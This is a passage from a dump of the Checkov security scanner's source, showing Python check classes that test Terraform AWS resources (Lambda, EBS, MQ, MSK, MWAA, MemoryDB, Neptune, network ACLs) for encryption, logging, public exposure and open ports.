    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LambdaXrayEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"X-Ray tracing is enabled for Lambda\"\n        id = \"CKV_AWS_50\"\n        supported_resources = ['aws_lambda_function']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"tracing_config/[0]/mode\"\n\n    def get_expected_value(self):\n        return \"PassThrough\"\n\n    def get_expected_values(self):\n        return [self.get_expected_value(), \"Active\"]\n\n\ncheck = LambdaXrayEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LaunchConfigurationEBSEncryption.py",
    "content": "from typing import Dict, List, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass LaunchConfigurationEBSEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = (\n            \"Ensure all data stored in the Launch configuration or instance Elastic Blocks Store \"\n            \"is securely encrypted\"\n        )\n        id = \"CKV_AWS_8\"\n        supported_resources = (\"aws_launch_configuration\", \"aws_instance\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult:\n        \"\"\"\n            Looks for encryption configuration at launch configuration:\n            https://www.terraform.io/docs/providers/aws/r/launch_configuration.html or\n            https://www.terraform.io/docs/providers/aws/d/instance.html\n        :param conf: aws_launch_configuration configuration\n        :return: <CheckResult>\n        \"\"\"\n        # for key in conf.keys():\n        #     # If present, the encrypted flag will be determined by the snapshot\n        #     # Note: checkov does not know if snapshot is encrypted, so we default to PASSED\n\n        self.evaluated_keys = [\"root_block_device\"]\n        root = conf.get(\"root_block_device\")\n        if not root or not root[0]:\n            # Issue 496 - TF will create unencrypted EBS root by default if whole root_block_device block is omitted.\n            return CheckResult.FAILED\n        self.evaluated_keys.append(\"ebs_block_device\")\n        blocks = conf.get(\"ebs_block_device\") or []\n\n        all_blocks = root + blocks\n\n        if not all_blocks:\n            return CheckResult.UNKNOWN\n        all_blocks_results = []\n\n        for block in all_blocks:\n            all_blocks_results.append(_is_block_encrypted(block))\n        if CheckResult.FAILED in all_blocks_results:\n            return CheckResult.FAILED\n        elif CheckResult.UNKNOWN in all_blocks_results:\n            return CheckResult.UNKNOWN\n        else:\n            return CheckResult.PASSED\n\n\ncheck = LaunchConfigurationEBSEncryption()\n\n\ndef _is_block_encrypted(block) -> CheckResult:\n    if isinstance(block, dict):\n        if block.get(\"encrypted\") in ([False], False) and not block.get(\"snapshot_id\"):\n            return CheckResult.FAILED\n        elif block.get(\"encrypted\") in ([True], True):\n            return CheckResult.PASSED\n        elif not block.get(\"encrypted\") in ([True], True) and block.get(\"snapshot_id\"):\n            return CheckResult.PASSED\n    return CheckResult.UNKNOWN\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LaunchTemplateMetadataHop.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass LaunchTemplateMetadataHop(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2)\n        Auto Scaling group launch configuration should not have a metadata response hop limit greater than 1\n        \"\"\"\n        name = \"Ensure Launch template should not have a metadata response hop limit greater than 1\"\n        id = \"CKV_AWS_341\"\n        supported_resources = (\"aws_launch_configuration\", \"aws_launch_template\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.PASSED)\n\n    def get_inspected_key(self) -> str:\n        return \"metadata_options/[0]/http_put_response_hop_limit\"\n\n    def get_expected_value(self):\n        return 1\n\n\ncheck = LaunchTemplateMetadataHop()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/LustreFSEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass LustreFSEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure lustre file systems is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_190\"\n        supported_resources = ['aws_fsx_lustre_file_system']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = LustreFSEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerAuditLogging.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass MQBrokerAuditLogging(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MQ Broker Audit logging is enabled\"\n        id = \"CKV_AWS_197\"\n        supported_resources = (\"aws_mq_broker\",)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        # https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/security-logging-monitoring-rabbitmq.html\n        # Audit logging is not supported for RabbitMQ brokers.\n        if conf.get(\"engine_type\") == [\"RabbitMQ\"]:\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"logs/[0]/audit\"\n\n\ncheck = MQBrokerAuditLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerEncryptedWithCMK.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MQBrokerEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MQ broker encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_209\"\n        supported_resources = ['aws_mq_broker']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"encryption_options/[0]/kms_key_id\"\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = MQBrokerEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerLogging.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MQBrokerLogging(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MQ Broker logging is enabled\"\n        id = \"CKV_AWS_48\"\n        supported_resources = ['aws_mq_broker']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"logs/[0]/general\"\n\n\ncheck = MQBrokerLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerMinorAutoUpgrade.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MQBrokerMinorAutoUpgrade(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MQ Broker minor version updates are enabled\"\n        id = \"CKV_AWS_207\"\n        supported_resources = ['aws_mq_broker']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"auto_minor_version_upgrade\"\n\n\ncheck = MQBrokerMinorAutoUpgrade()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerNotPubliclyExposed.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MQBrokerNotPubliclyExposed(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MQ Broker is not publicly exposed\"\n        id = \"CKV_AWS_69\"\n        supported_resources = (\"aws_mq_broker\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        \"\"\"\n        Looks for public accessibility:\n            https://www.terraform.io/docs/providers/aws/r/mq_broker.html#publicly_accessible\n            https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-amazonmq-broker.html\n        :param conf: aws_launch_configuration configuration\n        :return: <CheckResult>\n        \"\"\"\n        return \"publicly_accessible\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [True]\n\n\ncheck = MQBrokerNotPubliclyExposed()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MQBrokerVersion.py",
    "content": "import re\nfrom typing import List\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nENGINE_VERSION_PATTERN = re.compile(r\"(\\d+\\.\\d+.\\d+)\")\nENGINE_VERSION_SHORT_PATTERN = re.compile(r\"(\\d+\\.\\d+)\")\nMINIMUM_ACTIVEMQ_VERSION = 5.17\nMINIMUM_RABBITMQ_VERSION = 3.11\n\n\nclass MQBrokerVersion(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MQ Broker version is current\"\n        id = \"CKV_AWS_208\"\n        supported_resources = (\"aws_mq_broker\", \"aws_mq_configuration\")\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    @staticmethod\n    def version_string_to_tuple(version_str) -> tuple:\n        return tuple(map(int, str(version_str).split('.')))\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if conf.get(\"engine_type\"):\n            mq_type = conf.get(\"engine_type\")[0]\n            semantic = conf.get(\"engine_version\", [''])[0]\n            if not re.search(ENGINE_VERSION_PATTERN, semantic):\n                return CheckResult.UNKNOWN\n            version_tuple = self.version_string_to_tuple(re.search(ENGINE_VERSION_SHORT_PATTERN, semantic).group())\n            if mq_type in 'ActiveMQ':\n                if version_tuple >= self.version_string_to_tuple(MINIMUM_ACTIVEMQ_VERSION):\n                    return CheckResult.PASSED\n\n            if mq_type in 'RabbitMQ':\n                if version_tuple >= self.version_string_to_tuple(MINIMUM_RABBITMQ_VERSION):\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"engine_type\", \"engine_version\"]\n\n\ncheck = MQBrokerVersion()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MSKClusterEncryption.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom typing import List\n\n\nclass MSKClusterEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure MSK Cluster encryption in rest and transit is enabled\"\n        id = \"CKV_AWS_81\"\n        supported_resources = ['aws_msk_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        # Note: As long as the 'encryption_info' block is specified, the cluster\n        # will be encrypted at rest even if 'encryption_at_rest_kms_key_arn' is not specified\n        # See https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/msk_cluster#encryption_at_rest_kms_key_arn\n        if 'encryption_info' in conf.keys():\n            encryption = conf['encryption_info'][0]\n            if 'encryption_in_transit' in encryption:\n                transit = encryption['encryption_in_transit'][0]\n                if 'client_broker' in transit and transit['client_broker'][0] != 'TLS' or \\\n                        'in_cluster' in transit and transit['in_cluster'][0] is False:\n                    return CheckResult.FAILED\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['encryption_info/[0]/encryption_in_transit/[0]/client_broker',\n                'encryption_info/[0]/encryption_in_transit/[0]/in_cluster']\n\n\ncheck = MSKClusterEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MSKClusterLogging.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass MSKClusterLogging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure MSK Cluster logging is enabled\"\n        id = \"CKV_AWS_80\"\n        supported_resources = ['aws_msk_cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if 'logging_info' in conf.keys() and 'broker_logs' in conf['logging_info'][0]:\n            logging = conf['logging_info'][0]['broker_logs'][0]\n            types = [\"cloudwatch_logs\", \"firehose\", \"s3\"]\n            for x in types:\n                if x in logging and 'enabled' in logging[x][0] and logging[x][0]['enabled'][0] is True:\n                    self.evaluated_keys = [f'logging_info/[0]/broker_logs/[0]/{x}/[0]/enabled']\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = MSKClusterLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MSKClusterNodesArePrivate.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MSKClusterNodesArePrivate(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MSK nodes are private\"\n        id = \"CKV_AWS_291\"\n        supported_resources = ('aws_msk_cluster',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"broker_node_group_info/[0]/connectivity_info/[0]/public_access/[0]/type\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"SERVICE_PROVIDED_EIPS\"]\n\n\ncheck = MSKClusterNodesArePrivate()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MWAASchedulerLogsEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass MWAASchedulerLogsEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MWAA environment has scheduler logs enabled\"\n        id = \"CKV_AWS_242\"\n        supported_resources = [\"aws_mwaa_environment\"]\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_resources=supported_resources,\n        )\n\n    def get_inspected_key(self) -> str:\n        return \"logging_configuration/[0]/scheduler_logs/[0]/enabled\"\n\n\ncheck = MWAASchedulerLogsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MWAAWebserverLogsEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MWAAWebserverLogsEnabled(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MWAA environment has webserver logs enabled\"\n        id = \"CKV_AWS_244\"\n        supported_resources = ('aws_mwaa_environment',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"logging_configuration/[0]/webserver_logs/[0]/enabled\"\n\n\ncheck = MWAAWebserverLogsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MWAAWorkerLogsEnabled.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MWAAWorkerLogsEnabled(BaseResourceValueCheck):\n\n    def __init__(self):\n        name = \"Ensure MWAA environment has worker logs enabled\"\n        id = \"CKV_AWS_243\"\n        supported_resources = ['aws_mwaa_environment']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"logging_configuration/[0]/worker_logs/[0]/enabled\"\n\n\ncheck = MWAAWorkerLogsEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MemoryDBClusterIntransitEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass MemoryDBClusterIntransitEncryption(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure MemoryDB data is encrypted in transit\"\n        id = \"CKV_AWS_202\"\n        supported_resources = (\"aws_memorydb_cluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"tls_enabled\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [False]\n\n\ncheck = MemoryDBClusterIntransitEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MemoryDBEncryptionWithCMK.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass MemoryDBEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure MemoryDB is encrypted at rest using KMS CMKs\"\n        id = \"CKV_AWS_201\"\n        supported_resources = ['aws_memorydb_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'kms_key_arn'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = MemoryDBEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/MemoryDBSnapshotEncryptionWithCMK.py",
    "content": "from typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass MemoryDBSnapshotEncryptionWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure MemoryDB snapshot is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_278\"\n        supported_resources = (\"aws_memorydb_snapshot\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = MemoryDBSnapshotEncryptionWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterBackupRetention.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass NeptuneClusterBackupRetention(BaseResourceCheck):\n    def __init__(self):\n        description = \"Ensure that Neptune DB cluster has automated backups enabled with adequate retention\"\n        id = \"CKV_AWS_361\"\n        supported_resources = ['aws_neptune_cluster']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        if conf.get('backup_retention_period', [1])[0] >= 7:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self):\n        return ['backup_retention_period']\n\n\ncheck = NeptuneClusterBackupRetention()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterEncryptedWithCMK.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass NeptuneClusterEncryptedWithCMK(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_347\"\n        supported_resources = (\"aws_neptune_cluster\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_arn\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = NeptuneClusterEncryptedWithCMK()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py",
    "content": "from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom typing import List, Any\n\n\nclass NeptuneClusterInstancePublic(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure Neptune Cluster instance is not publicly available\"\n        id = \"CKV_AWS_102\"\n        supported_resources = ['aws_neptune_cluster_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'publicly_accessible/[0]'\n\n    def get_forbidden_values(self) -> List[Any]:\n        return [True]\n\n\ncheck = NeptuneClusterInstancePublic()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom typing import List\n\n\nclass NeptuneClusterLogging(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Neptune logging is enabled\"\n        id = \"CKV_AWS_101\"\n        supported_resources = ['aws_neptune_cluster']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        log_types = [\"audit\"]\n        if 'enable_cloudwatch_logs_exports' in conf and conf['enable_cloudwatch_logs_exports'][0] \\\n                and all(elem in conf['enable_cloudwatch_logs_exports'][0] for elem in log_types):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['enable_cloudwatch_logs_exports']\n\n\ncheck = NeptuneClusterLogging()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass NeptuneClusterSnapshotEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune snapshot is securely encrypted\"\n        id = \"CKV_AWS_279\"\n        supported_resources = (\"aws_neptune_cluster_snapshot\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"storage_encrypted\"\n\n\ncheck = NeptuneClusterSnapshotEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py",
    "content": "from typing import Any\n\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.common.models.consts import ANY_VALUE\n\n\nclass NeptuneClusterSnapshotEncrypted(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK)\"\n        id = \"CKV_AWS_280\"\n        supported_resources = (\"aws_neptune_cluster_snapshot\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"kms_key_id\"\n\n    def get_expected_value(self) -> Any:\n        return ANY_VALUE\n\n\ncheck = NeptuneClusterSnapshotEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass NeptuneClusterStorageEncrypted(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure Neptune storage is securely encrypted\"\n        id = \"CKV_AWS_44\"\n        supported_resources = ['aws_neptune_cluster']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"storage_encrypted\"\n\n\ncheck = NeptuneClusterStorageEncrypted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NeptuneDBClustersCopyTagsToSnapshots(BaseResourceValueCheck):\n    def __init__(self):\n        description = \"Neptune DB clusters should be configured to copy tags to snapshots\"\n        id = \"CKV_AWS_362\"\n        supported_resources = ['aws_neptune_cluster']\n        categories = [CheckCategories.BACKUP_AND_RECOVERY]\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"copy_tags_to_snapshot\"\n\n\ncheck = NeptuneDBClustersCopyTagsToSnapshots()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NeptuneDBClustersIAMDatabaseAuthenticationEnabled(BaseResourceValueCheck):\n    def __init__(self):\n        description = \"Neptune DB clusters should have IAM database authentication enabled\"\n        id = \"CKV_AWS_359\"\n        supported_resources = ['aws_neptune_cluster']\n        categories = [CheckCategories.IAM]\n        super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return \"iam_database_authentication_enabled\"\n\n\ncheck = NeptuneDBClustersIAMDatabaseAuthenticationEnabled()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py",
    "content": "from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass NetworkACLUnrestricted(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure NACL ingress does not allow all Ports\"\n        id = \"CKV_AWS_352\"\n        supported_resources = ('aws_network_acl_rule',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        egress = conf.get('egress')\n        if egress and isinstance(egress, list) and egress[0]:\n            return CheckResult.UNKNOWN\n        port = conf.get('from_port')\n        if port and isinstance(port, list) and port[0]:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = NetworkACLUnrestricted()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress\n\n\nclass NACLUnrestrictedIngress20(AbsNACLUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_230\", port=20)\n\n\ncheck = NACLUnrestrictedIngress20()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress\n\n\nclass NACLUnrestrictedIngress21(AbsNACLUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_229\", port=21)\n\n\ncheck = NACLUnrestrictedIngress21()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress\n\n\nclass NACLUnrestrictedIngress22(AbsNACLUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_232\", port=22)\n\n\ncheck = NACLUnrestrictedIngress22()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py",
    "content": "from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress\n\n\nclass NACLUnrestrictedIngress3389(AbsNACLUnrestrictedIngress):\n    def __init__(self):\n        super().__init__(check_id=\"CKV_AWS_231\", port=3389)\n\n\ncheck = NACLUnrestrictedIngress3389()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py",
